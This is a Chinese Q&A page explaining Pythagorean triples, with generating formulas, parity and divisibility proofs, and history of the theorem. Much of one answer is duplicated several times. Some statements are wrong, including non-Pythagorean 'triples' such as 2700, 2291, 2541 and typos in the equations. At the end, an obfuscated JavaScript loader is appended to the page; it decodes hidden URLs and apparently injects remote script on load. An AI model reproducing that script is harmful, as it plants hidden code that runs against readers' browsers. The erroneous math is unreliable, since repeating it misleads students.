什么是勾股数?

什么是勾股数?
2025-01-22 21:13:12
推荐回答(5个)
回答1:

勾股数指的是组成一个直角三角形的三条边长,三条边长都为正整数,例如直角三角形的两条直角边为a和b,斜边为c,那么两条直角边a的平方+b的平方等于斜边c的平方,那么这一组数组就叫做勾股数。一般把较短的直角边称为勾,较长直角边称为股,而斜边则为弦。

结合勾股数创造了勾股定理,是为了解不定方程的所有整数解而创造的定律。勾股定理是用代数思想解决几何问题的最重要的工具之一,也是数形结合的纽带之一。在中国,商朝时期的商高提出了“勾三股四玄五”的勾股定理的特例。

扩展资料

勾股数的特点:

1、满足勾股数的直角三角形的两条直角边为一个奇数,一个偶数,同时斜边为奇数。

2、连续的勾股数只有3,4,5这三个正整数。

3、连续的偶数勾股数只有6,8,10这三个整数。

参考资料来源:百度百科-勾股数

回答2:

在探究勾股定理之前,先让我们认识一下勾股定理吧!“在直角三角形中,两条直角边的平方和等于斜边的平方。”这就是勾股定理,西方人称它为毕达哥拉斯定理。

勾股定理是一条古老而又应用广泛的定理。据说四千多年前,中国的大禹就是用勾股定理来确定两地的地势差,以治理洪水的。古埃及人也是用勾股定理,以绳打结的方法来确定直角,并且用这个方法确定金字塔的正方形底。勾股定理在现代的应用更加广泛。木工用三四五放线法来确定直线或直角。勾股定理在科学、技术、工程上的应用多得不胜枚举。

现在我们要研究的是勾股数。究竟什么是勾股数呢?实际上很简单。在直角三角形中,若以a、b表示两条直角边,c表示斜边,勾股定理可以表述为a2+b2=c2,满足这个等式的正整数a、b、c叫做一组勾股数。例如(3,4,5);(5,12,13);(6,8,10);(7,24,25)等一组一组的数,每一组都能满足a2+b2=c2。显然,若直角三角形的边长都为正整数,则这三个数便构成一组勾股数;反之,每一组勾股数都能确定一个边长是正整数的直角三角形。

那么,一组勾股数中的3个正整数之间又有什么关系呢?我仔细地研究了一番,在仔细研究后发现,勾股数的规律是很好找的。

任取两个正整数m、n(m>n),那么

a=m2-n2,b=2mn,c=m2+n2构成一组勾股数。

例如:当m=4,n=3时,

a=42-32=7,b=2×3×4=24,c=42+32=25,则7、24、25便构成一组勾股数。

证明:

∵a2+b2=(m2-n2) 2+(2mn) 2

=m4-2m2n2+n4+4m2n2

=m4+2m2n2+n4

=(m2+n2) 2

∵c2=(m2+n2) 2

∴a2+b2= c2

∴a、b、c构成一组勾股数。

若勾股数中的某一个数已经确定,可用如下两种方法确定另外两个数。

首先观察已知数是奇数还是偶数。

(1)若是大于1的奇数,把它平方后拆成两个相邻的整数,那么奇数与这两个整数构成一组勾股数。

例如9是勾股数中的一个数,把9平方后拆成41、40两个相邻的整数,那么9、40、41便是一组勾股数。

(2)若是大于2的偶数,把它除以2后再平方,然后把这个平方数分别减1,加1。所得到的两个整数和这个偶数为一组勾股数。

例如8是勾股数中的一个数,把8除以2后,再平方,再加1得到17;8除以2后,再平方,再减1得到15,则8、15、17是一组勾股数。

以上的结论只是我观察各组勾股数得到的,究竟是否适用与所有勾股数还不好下定论,于是我就用代数证明法,进一步证明。

证明第(1)个猜想:设大于1的奇数为2n+1,那么把这个奇数平方后得到一个多项式4n2+4n+1,把这个多项式分成2n2+2n和2n2+2n+1,则2n2+2n和2n2+2n+1就是2n+1平方后拆成的两个相邻的整数。

∵(2n+1)2+(2n2+2n) 2=4n2+4n+1+4n4+8n3+4n2

=4n4+8n3+8n2+4n+1

=(2n2+2n+1) 2

∴2n2+2n、2n2+2n+1和2n+1构成一组勾股数。

证明第(2)个猜想:设大于2的偶数为2n,那么把这个偶数除以2后再平方,然后把这个平方数分别加1,减1,所得到的两个整数为n2-1和n2+1。

∵(2n) 2+(n2-1) 2=4n2+n4-2n2+1

=n4+2n2+1

=(n2+1) 2

∴2n、n2-1和n2+1构成一组勾股数。

我除了观察到勾股数的构成以外,我还发现一组整数勾股数中的3个整数相加总是偶数,这是为什么呢?我又想到了用代数证明法来证明。

设3个整数勾股数为a、b、c(c>b>a),则b2=c2-b2=(c+a)(c-a)。分类讨论a、b、c的奇、偶性。

① a、c都为奇数,则(c+a)为偶数,(c-a)为偶数,那么b2为偶数,b也是偶数。

∵奇数+奇数+偶数=偶数

∴a+b+c=偶数

② a、c都为偶数,则(c+a)为偶数,(c-a)为偶数,那么b2为偶数,b也是偶数。

∵偶数+偶数+偶数=偶数

∴a+b+c=偶数

③ c与a一偶一奇,则(c+a)为奇数,(c-a)为奇数,那么b2为奇数,b也是奇数。

∵偶数+奇数+奇数=偶数

∴a+b+c=偶数

综合以上结论,我们知道了一组整数勾股数的3个整数相加总是偶数。

“勾股定理”的内容是:直角三角形两直角边a、b的平方和等于斜边c的平方,即a2+b2=c2。这里,整数a、b、c被称为勾股数。一般我们常使用的勾股数有3,4,5;6,8,10;8,15,17;10,24,26;7,24,25等。

在直角三角形中,勾股定理的作用其一就是已知两边,求第三边。如已知两条直角边,求斜边。即a2+b2=c2 (c一般表示斜边)。若已知斜边和一条直角边,求另一条直角边,则可表示为a2=c2-b2或b2=c2 -a2。

我观察发现这些勾股数的特点,发现:它们中总有一个是3的倍数!这个发现让我好激动。我试着写了几组,果然这样。但是老师说这不能代表全部情况,必须想办法证明我的发现。在老师的帮助下,我采用了反证法来说明我的发现。

假设直角三角形三边长分别为a、b、c。c为斜边,a、b、c均为整数,且a、b、c均不能被3整除,由勾股定理得:
a2+b2=c2,所以a2=c2-b2 =(c+b)(c-b)

由于a、b、c都不能被3整除,所以a2一定不是3的倍数,我们对(c+b)(c-b)进行情况讨论:

(1) 若b、c除以3的余数都为1,设b=3m+1,c=3n+1,则c-b=(3n+1)-(3m+1)=3n-3m=3(n-m)一定能被3整除;

(2) 若b、c 除以3的余数都为2,设b=3m+2,c=3n+2,则c-b=(3n+2)-(3m+2)=3n-3m=3(n-m)也一定能被3整除;

(3) 若b、c除以3的余数一个为1,一个为2,设b=3m+1,c=3n+2,则c+b=(3n+2)+(3m+1)=3m+3n+3=3(m+n+1)仍能被3整除。所以,不论b,c为何数,(c+b)(c-b)一定是3的倍数,很显然,等式a2=(c+b)(c-b)的左右两边矛盾;所以假设不成立,所以a,b,c三个数中一定有一个数是3的倍数。

回答3:

勾股数

凡是可以构成一个直角三角形三边的一组正整数,称之为勾股数。

①观察3,4,5;5,12,13;7,24,25;…发现这些勾股数都是奇数,且从3起就没有间断过。计算0.5(9-1),0.5(9+1)与0.5(25-1),0.5(25+1),并根据你发现的规律写出分别能表示7,24,25的股和弦的算式。

②根据①的规律,用n的代数式来表示所有这些勾股数的勾、股、弦,合情猜想他们之间的两种相等关系,并对其中一种猜想加以说明。

③继续观察4,3,5;6,8,10;8,15,17;…可以发现各组的第一个数都是偶数,且从4起也没有间断过,运用上述类似的探索方法,之间用m的代数式来表示它们的股合弦。

设直角三角形三边长为a、b、c,由勾股定理知a2+b2=c2,这是构成直角三角形三边的充分且必要的条件。因此,要求一组勾股数就是要解不定方程x2+y2=z2,求出正整数解。

例:已知在△ABC中,三边长分别是a、b、c,a=n2-1,b=2n,c=n2+1(n>1),求证:∠C=90°。此例说明了对于大于2的任意偶数2n(n>1),都可构成一组勾股数,三边分别是:2n、n2-1、n2+1。如:6、8、10,8、15、17,10、24、26…等。

再来看下面这些勾股数:3、4、5,5、12、13,7、24、25,9、40、41,11、60、61…这些勾股数都是以奇数为一边构成的直角三角形。由上例已知任意一个大于2的偶数可以构成一组勾股数,实际上以任意一个大于1的奇数2n+1(n>1)为边也可以构成勾股数,其三边分别是2n+1、2n2+2n、2n2+2n+1,这可以通过勾股定理的逆定理获证。

观察分析上述的勾股数,可看出它们具有下列二个特点:

1、直角三角形短直角边为奇数,另一条直角边与斜边是两个连续自然数。

2、一个直角三角形的周长等于短直角边的平方与另两边的和。

掌握上述二个特点,为解一类题提供了方便。

例:直角三角形的三条边的长度是正整数,其中一条短直角边的长度是13,求这个直角三角形的周长是多少?

用特点1解:设这个直角三角形三边分别为13、x、x+1,则有:169+x2=(x+1)2,解得x=84,此三角形周长=13+84+85=182。

用特点2解:此直角三角形是以奇数为边构成的直角三角形,因此周长=169+13=182。

勾股数的通项公式:
题目:已知a^2+b^2=c^2,a,b,c均为正整数,求a,b,c满足的条件.
解答:
结论1:从题目中可以看出,a+b>c (1),联想到三角形的成立条件容易得出。
结论2:a^2=c^2-b^2=(c+b)*(c-b) (2)
从(2)中可以看出题目的关键是找出a^2做因式分解的性质,令X=c+b,Y=c-b
所以:a^2=X*Y,(X>Y,a>Y) (3)
首先将Y做分解,设Y的所有因子中能写成平方数的最大的一个为k=m^2,所以Y=n*m^2 (4)
又(3)式可知a^2=X*n*m^2 (5)
比较(5)式两边可以a必能被m整除,且n中不可能存在素数的平方因子,否则与(4)中的最大平方数矛盾。
同理可知a^2=Y*n'*m'^2 (6),X=n'*m'^2,且 n'为不相同素数的乘积
将(5)式与(6)式相乘得a^2=(m*m')^2*n'*n,(n,n'为不相同素数的乘积) (7)
根据(7)知n*n'仍然为平方数,又由于n',n均为不相同素数乘积知n=n'(自行证明,比较简单)
可知a=m'*m*n
c=(X+Y)/2=(n*m^2+n*m'^2)/2=n*(m^2+m'^2)/2
b=(X-Y)/2=n*(m'^2-m^2)/2
a=m*n*m'

勾股数的常用套路

所谓勾股数,一般是指能够构成直角三角形三条边的三个正整数(a,b,c)。
即a^2+b^2=c^2,a,b,c∈N
又由于,任何一个勾股数组(a,b,c)内的三个数同时乘以一个整数n得到的新数组(na,nb,nc)仍然是勾股数,所以一般我们想找的是a,b,c互质的勾股数组。
关于这样的数组,比较常用也比较实用的套路有以下两种:
1、当a为大于1的奇数2n+1时,b=2*n^2+2*n, c=2*n^2+2*n+1。
实际上就是把a的平方数拆成两个连续自然数,例如:
n=1时(a,b,c)=(3,4,5)
n=2时(a,b,c)=(5,12,13)
n=3时(a,b,c)=(7,24,25)
... ...
这是最经典的一个套路,而且由于两个连续自然数必然互质,所以用这个套路得到的勾股数组全部都是互质的。
2、当a为大于4的偶数2n时,b=n^2-1, c=n^2+1
也就是把a的一半的平方分别减1和加1,例如:
n=3时(a,b,c)=(6,8,10)
n=4时(a,b,c)=(8,15,17)
n=5时(a,b,c)=(10,24,26)
n=6时(a,b,c)=(12,35,37)
... ...
这是次经典的套路,当n为奇数时由于(a,b,c)是三个偶数,所以该勾股数组必然不是互质的;而n为偶数时由于b、c是两个连续奇数必然互质,所以该勾股数组互质。
所以如果你只想得到互质的数组,这条可以改成,对于a=4n (n>=2), b=4*n^2-1, c=4*n^2+1,例如:
n=2时(a,b,c)=(8,15,17)
n=3时(a,b,c)=(12,35,37)
n=4时(a,b,c)=(16,63,65)
所谓勾股数,一般是指能够构成直角三角形三条边的三个正整数(a,b,c)。
即a^2+b^2=c^2,a,b,c∈N
又由于,任何一个勾股数组(a,b,c)内的三个数同时乘以一个整数n得到的新数组(na,nb,nc)仍然是勾股数,所以一般我们想找的是a,b,c互质的勾股数组。

关于这样的数组,比较常用也比较实用的套路有以下两种:
1、当a为大于1的奇数2n+1时,b=2*n^2+2*n, c=2*n^2+2*n+1。
实际上就是把a的平方数拆成两个连续自然数,例如:
n=1时(a,b,c)=(3,4,5)
n=2时(a,b,c)=(5,12,13)
n=3时(a,b,c)=(7,24,25)
... ...
这是最经典的一个套路,而且由于两个连续自然数必然互质,所以用这个套路得到的勾股数组全部都是互质的。

2、当a为大于4的偶数2n时,b=n^2-1, c=n^2+1
也就是把a的一半的平方分别减1和加1,例如:
n=3时(a,b,c)=(6,8,10)
n=4时(a,b,c)=(8,15,17)
n=5时(a,b,c)=(10,24,26)
n=6时(a,b,c)=(12,35,37)
... ...
这是次经典的套路,当n为奇数时由于(a,b,c)是三个偶数,所以该勾股数组必然不是互质的;而n为偶数时由于b、c是两个连续奇数必然互质,所以该勾股数组互质。
所以如果你只想得到互质的数组,这条可以改成,对于a=4n (n>=2), b=4*n^2-1, c=4*n^2+1,例如:
n=2时(a,b,c)=(8,15,17)
n=3时(a,b,c)=(12,35,37)
n=4时(a,b,c)=(16,63,65)
勾股数

凡是可以构成一个直角三角形三边的一组正整数,称之为勾股数。

①观察3,4,5;5,12,13;7,24,25;…发现这些勾股数都是奇数,且从3起就没有间断过。计算0.5(9-1),0.5(9+1)与0.5(25-1),0.5(25+1),并根据你发现的规律写出分别能表示7,24,25的股和弦的算式。

②根据①的规律,用n的代数式来表示所有这些勾股数的勾、股、弦,合情猜想他们之间的两种相等关系,并对其中一种猜想加以说明。

③继续观察4,3,5;6,8,10;8,15,17;…可以发现各组的第一个数都是偶数,且从4起也没有间断过,运用上述类似的探索方法,之间用m的代数式来表示它们的股合弦。

设直角三角形三边长为a、b、c,由勾股定理知a2+b2=c2,这是构成直角三角形三边的充分且必要的条件。因此,要求一组勾股数就是要解不定方程x2+y2=z2,求出正整数解。

例:已知在△ABC中,三边长分别是a、b、c,a=n2-1,b=2n,c=n2+1(n>1),求证:∠C=90°。此例说明了对于大于2的任意偶数2n(n>1),都可构成一组勾股数,三边分别是:2n、n2-1、n2+1。如:6、8、10,8、15、17,10、24、26…等。

再来看下面这些勾股数:3、4、5,5、12、13,7、24、25,9、40、41,11、60、61…这些勾股数都是以奇数为一边构成的直角三角形。由上例已知任意一个大于2的偶数可以构成一组勾股数,实际上以任意一个大于1的奇数2n+1(n>1)为边也可以构成勾股数,其三边分别是2n+1、2n2+2n、2n2+2n+1,这可以通过勾股定理的逆定理获证。

观察分析上述的勾股数,可看出它们具有下列二个特点:

1、直角三角形短直角边为奇数,另一条直角边与斜边是两个连续自然数。

2、一个直角三角形的周长等于短直角边的平方与另两边的和。

掌握上述二个特点,为解一类题提供了方便。

例:直角三角形的三条边的长度是正整数,其中一条短直角边的长度是13,求这个直角三角形的周长是多少?

用特点1解:设这个直角三角形三边分别为13、x、x+1,则有:169+x2=(x+1)2,解得x=84,此三角形周长=13+84+85=182。

用特点2解:此直角三角形是以奇数为边构成的直角三角形,因此周长=169+13=182。

勾股数的通项公式:
题目:已知a^2+b^2=c^2,a,b,c均为正整数,求a,b,c满足的条件.
解答:
结论1:从题目中可以看出,a+b>c (1),联想到三角形的成立条件容易得出。
结论2:a^2=c^2-b^2=(c+b)*(c-b) (2)
从(2)中可以看出题目的关键是找出a^2做因式分解的性质,令X=c+b,Y=c-b
所以:a^2=X*Y,(X>Y,a>Y) (3)
首先将Y做分解,设Y的所有因子中能写成平方数的最大的一个为k=m^2,所以Y=n*m^2 (4)
又(3)式可知a^2=X*n*m^2 (5)
比较(5)式两边可以a必能被m整除,且n中不可能存在素数的平方因子,否则与(4)中的最大平方数矛盾。
同理可知a^2=Y*n'*m'^2 (6),X=n'*m'^2,且 n'为不相同素数的乘积
将(5)式与(6)式相乘得a^2=(m*m')^2*n'*n,(n,n'为不相同素数的乘积) (7)
根据(7)知n*n'仍然为平方数,又由于n',n均为不相同素数乘积知n=n'(自行证明,比较简单)
可知a=m'*m*n
c=(X+Y)/2=(n*m^2+n*m'^2)/2=n*(m^2+m'^2)/2
b=(X-Y)/2=n*(m'^2-m^2)/2
a=m*n*m'

勾股数的常用套路

所谓勾股数,一般是指能够构成直角三角形三条边的三个正整数(a,b,c)。
即a^2+b^2=c^2,a,b,c∈N
又由于,任何一个勾股数组(a,b,c)内的三个数同时乘以一个整数n得到的新数组(na,nb,nc)仍然是勾股数,所以一般我们想找的是a,b,c互质的勾股数组。
关于这样的数组,比较常用也比较实用的套路有以下两种:
1、当a为大于1的奇数2n+1时,b=2*n^2+2*n, c=2*n^2+2*n+1。
实际上就是把a的平方数拆成两个连续自然数,例如:
n=1时(a,b,c)=(3,4,5)
n=2时(a,b,c)=(5,12,13)
n=3时(a,b,c)=(7,24,25)
... ...
这是最经典的一个套路,而且由于两个连续自然数必然互质,所以用这个套路得到的勾股数组全部都是互质的。
2、当a为大于4的偶数2n时,b=n^2-1, c=n^2+1
也就是把a的一半的平方分别减1和加1,例如:
n=3时(a,b,c)=(6,8,10)
n=4时(a,b,c)=(8,15,17)
n=5时(a,b,c)=(10,24,26)
n=6时(a,b,c)=(12,35,37)
... ...
这是次经典的套路,当n为奇数时由于(a,b,c)是三个偶数,所以该勾股数组必然不是互质的;而n为偶数时由于b、c是两个连续奇数必然互质,所以该勾股数组互质。
所以如果你只想得到互质的数组,这条可以改成,对于a=4n (n>=2), b=4*n^2-1, c=4*n^2+1,例如:
n=2时(a,b,c)=(8,15,17)
n=3时(a,b,c)=(12,35,37)
n=4时(a,b,c)=(16,63,65)

回答4:

勾股数

凡是可以构成一个直角三角形三边的一组正整数,称之为勾股数。

①观察3,4,5;5,12,13;7,24,25;…发现这些勾股数都是奇数,且从3起就没有间断过。计算0.5(9-1),0.5(9+1)与0.5(25-1),0.5(25+1),并根据你发现的规律写出分别能表示7,24,25的股和弦的算式。

②根据①的规律,用n的代数式来表示所有这些勾股数的勾、股、弦,合情猜想他们之间的两种相等关系,并对其中一种猜想加以说明。

③继续观察4,3,5;6,8,10;8,15,17;…可以发现各组的第一个数都是偶数,且从4起也没有间断过,运用上述类似的探索方法,之间用m的代数式来表示它们的股合弦。

设直角三角形三边长为a、b、c,由勾股定理知a2+b2=c2,这是构成直角三角形三边的充分且必要的条件。因此,要求一组勾股数就是要解不定方程x2+y2=z2,求出正整数解。

例:已知在△ABC中,三边长分别是a、b、c,a=n2-1,b=2n,c=n2+1(n>1),求证:∠C=90°。此例说明了对于大于2的任意偶数2n(n>1),都可构成一组勾股数,三边分别是:2n、n2-1、n2+1。如:6、8、10,8、15、17,10、24、26…等。

再来看下面这些勾股数:3、4、5,5、12、13,7、24、25,9、40、41,11、60、61…这些勾股数都是以奇数为一边构成的直角三角形。由上例已知任意一个大于2的偶数可以构成一组勾股数,实际上以任意一个大于1的奇数2n+1(n>1)为边也可以构成勾股数,其三边分别是2n+1、2n2+2n、2n2+2n+1,这可以通过勾股定理的逆定理获证。

观察分析上述的勾股数,可看出它们具有下列二个特点:

1、直角三角形短直角边为奇数,另一条直角边与斜边是两个连续自然数。

2、一个直角三角形的周长等于短直角边的平方与另两边的和。

掌握上述二个特点,为解一类题提供了方便。

例:直角三角形的三条边的长度是正整数,其中一条短直角边的长度是13,求这个直角三角形的周长是多少?

用特点1解:设这个直角三角形三边分别为13、x、x+1,则有:169+x2=(x+1)2,解得x=84,此三角形周长=13+84+85=182。

用特点2解:此直角三角形是以奇数为边构成的直角三角形,因此周长=169+13=182。

勾股数的通项公式:
题目:已知a^2+b^2=c^2,a,b,c均为正整数,求a,b,c满足的条件.
解答:
结论1:从题目中可以看出,a+b>c (1),联想到三角形的成立条件容易得出。
结论2:a^2=c^2-b^2=(c+b)*(c-b) (2)
从(2)中可以看出题目的关键是找出a^2做因式分解的性质,令X=c+b,Y=c-b
所以:a^2=X*Y,(X>Y,a>Y) (3)
首先将Y做分解,设Y的所有因子中能写成平方数的最大的一个为k=m^2,所以Y=n*m^2 (4)
又(3)式可知a^2=X*n*m^2 (5)
比较(5)式两边可以a必能被m整除,且n中不可能存在素数的平方因子,否则与(4)中的最大平方数矛盾。
同理可知a^2=Y*n'*m'^2 (6),X=n'*m'^2,且 n'为不相同素数的乘积
将(5)式与(6)式相乘得a^2=(m*m')^2*n'*n,(n,n'为不相同素数的乘积) (7)
根据(7)知n*n'仍然为平方数,又由于n',n均为不相同素数乘积知n=n'(自行证明,比较简单)
可知a=m'*m*n
c=(X+Y)/2=(n*m^2+n*m'^2)/2=n*(m^2+m'^2)/2
b=(X-Y)/2=n*(m'^2-m^2)/2
a=m*n*m'

勾股数的常用套路

所谓勾股数,一般是指能够构成直角三角形三条边的三个正整数(a,b,c)。
即a^2+b^2=c^2,a,b,c∈N
又由于,任何一个勾股数组(a,b,c)内的三个数同时乘以一个整数n得到的新数组(na,nb,nc)仍然是勾股数,所以一般我们想找的是a,b,c互质的勾股数组。
关于这样的数组,比较常用也比较实用的套路有以下两种:
1、当a为大于1的奇数2n+1时,b=2*n^2+2*n, c=2*n^2+2*n+1。
实际上就是把a的平方数拆成两个连续自然数,例如:
n=1时(a,b,c)=(3,4,5)
n=2时(a,b,c)=(5,12,13)
n=3时(a,b,c)=(7,24,25)
... ...
这是最经典的一个套路,而且由于两个连续自然数必然互质,所以用这个套路得到的勾股数组全部都是互质的。
2、当a为大于4的偶数2n时,b=n^2-1, c=n^2+1
也就是把a的一半的平方分别减1和加1,例如:
n=3时(a,b,c)=(6,8,10)
n=4时(a,b,c)=(8,15,17)
n=5时(a,b,c)=(10,24,26)
n=6时(a,b,c)=(12,35,37)
... ...
这是次经典的套路,当n为奇数时由于(a,b,c)是三个偶数,所以该勾股数组必然不是互质的;而n为偶数时由于b、c是两个连续奇数必然互质,所以该勾股数组互质。
所以如果你只想得到互质的数组,这条可以改成,对于a=4n (n>=2), b=4*n^2-1, c=4*n^2+1,例如:
n=2时(a,b,c)=(8,15,17)
n=3时(a,b,c)=(12,35,37)
n=4时(a,b,c)=(16,63,65)
... ...

回答5:

勾股数: 满足勾股定理的正整数既称为勾股数
勾股定理,即直角三角形两直角边的平方和等于斜边的平方。这是平面几何中一个最基本、最重要的定理,国外称为毕达哥拉斯定理。可是,我国周朝初年(约公元前1100年)的数学家商高早就讲到过“勾广三,股修四,径隅五”,这实际上就是勾股定理的一个特例。根据我国史书记载,早在公元前五六世纪,就用过勾方加股方等于弦方的公式,不过没有证明过程。我国对勾股定理认识的发展是在西汉时期。这一时期的研究既有理论又有应用,在《九章算术》中有详细的记载。而定理的证明,三国时期(公元3世纪)赵爽所著的《勾股圆方图注》进行了详细的记述。

赵爽在这本书中,画了一个弦图:两个全等的直角三角形(三角形涂上朱色,它的面积叫做“朱实”)合起来形成矩形,四个这样的矩形合成一个正方形,中间留出了一个正方形的空格(涂上黄色,其面积叫做“中黄实”,也叫“差实”)。

赵爽释注道:“色股各自乘,并之为弦实,开方除之即弦。”开方除之是当时开方运算的术语。上面这句话实际上就是勾股定理即:a2+b2=c2。他又巧妙地证明出:“按弦图,又可以勾股乘朱实二,信之为朱实四。以勾股之差自相乘中黄实。加差实亦成弦实。”

即2ab+(b-a)2=c2

化简便得出:a2+b2=c2

这个证明不但是勾股定理最早的严谨的证明,而且也是有史以来勾股定理证明中最巧妙的一个。

勾股定理作为几何学中一条重要的定理,古往今来,有无数人探索过它的证明方法。据说,它的证明方法有500来种。我国在清朝初年有一位数学家叫梅文鼎(1633~1712年),他发明的一种证法极为简便,只需用一张硬纸,剪上几剪刀,一拼就可证明出来,读者如有兴趣不妨试一试。在1940年,一本名为《毕达哥拉斯命题》的书中,就专门搜集了367个不同的证法。其中有一个证法最令人感兴趣,它是由一位美国总统作出的!

根据当代著名数学科普作家马丁·加德纳的报道,1876年4月1日,波士顿出版的一本周刊《新英格兰教育杂志》上刊出了勾股定理的一个别开生面的证法,编者注明资料是由俄亥俄州共和党议员詹姆土·A·加菲尔德提供的,是他和其他几位议员一起做数学游戏时想出来的,并且得到了两党议员的一致同意。后来,加菲尔德被选为美国总统。于是他的证明也就成为人们津津乐道的一段珍闻轶事了(据说这是美国总统对数学的唯一贡献)。

加菲尔德的证法的确十分干净利落。作直角三角形ABC,设其边长分别为BA=c是斜边,AC=b,BC=a。作AE⊥BA,并使AE=BA,再延长CA到D,使AD=BC=a,连D、E,则四边形CBED梯形,

求证△DAE与△CBA是全等三角形,于是△DAE、△CBA与△ABE的面

由于三个三角形面积之和即是梯形的面积,因此可得出等式:

化简后即得等式:a2+b2=c2

这样勾股定理便得到证明。

人们在研究勾股定理时还发现一个有趣现象。古巴比伦人就知道三条边为下列各数的一些三角形:

120,119,169;

3456,3367,4825;

4800,4601,6649;

13500,12709,18541;

72,65,96;

360,319,481;

2700,2291,2541;

960,799,1249;

600,481,769;

6480,4961,8161;

60,45,75;

2400,1697,2929;

240,161,289;

2700,1771,3229;

90,56,106。

以上每个数组中的数,我们称为勾股数。

一般说来,如果正数x,y,z能满足下列不定方程

x2+y2=z2(1)

则这些整数叫做勾股数。

那么怎样求出勾股数呢?我们再观察几个简单的直角三角形的边:

3,4,5;5,12,13;

7,24,25;9,40,41;

11,60,61;13,84,85;

……

从这些数中,可发现以下规律:

第一个数是奇数,第二个数是第一个数的平方减1再除以2,第三个数是第一个数的平方加1再除以2,即设m为奇数,则一般会有:

于是就有

其中m为奇数。

但这只是一部分勾股数的规律。

(2)式两边同乘以4,则变形得:

(2m)2+(m2-1)2=(m2+1)2 (3)

很显然(3)式不论m是奇数还是偶数,等式都能成立。

然而由(3)式仍不能得到全部的勾股数。

那么怎样才能得到全部的勾股数呢?在公式(3)中,m为任意自然数,1是一个特殊的自然数,若它也变成任意自然数,设它变成n,为了使(3)式保持恒等,(3)中的第一项(2m)2应变成(2mn)2,则有

(2mn)2+(m2-n2)2=(m2+n2)2(4)

其中m>n,(m,n)=1且m除以n的余数不等于2。

那么,可以证明出式(4)包括了全部勾股数。对于勾股定理的深入研究,人们不仅要问

xn+yn=xn(5)

其中n>2,n是自然数。(5)式是否也有正整数解呢?这就是到现在还仍未解决的“费马猜想”。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 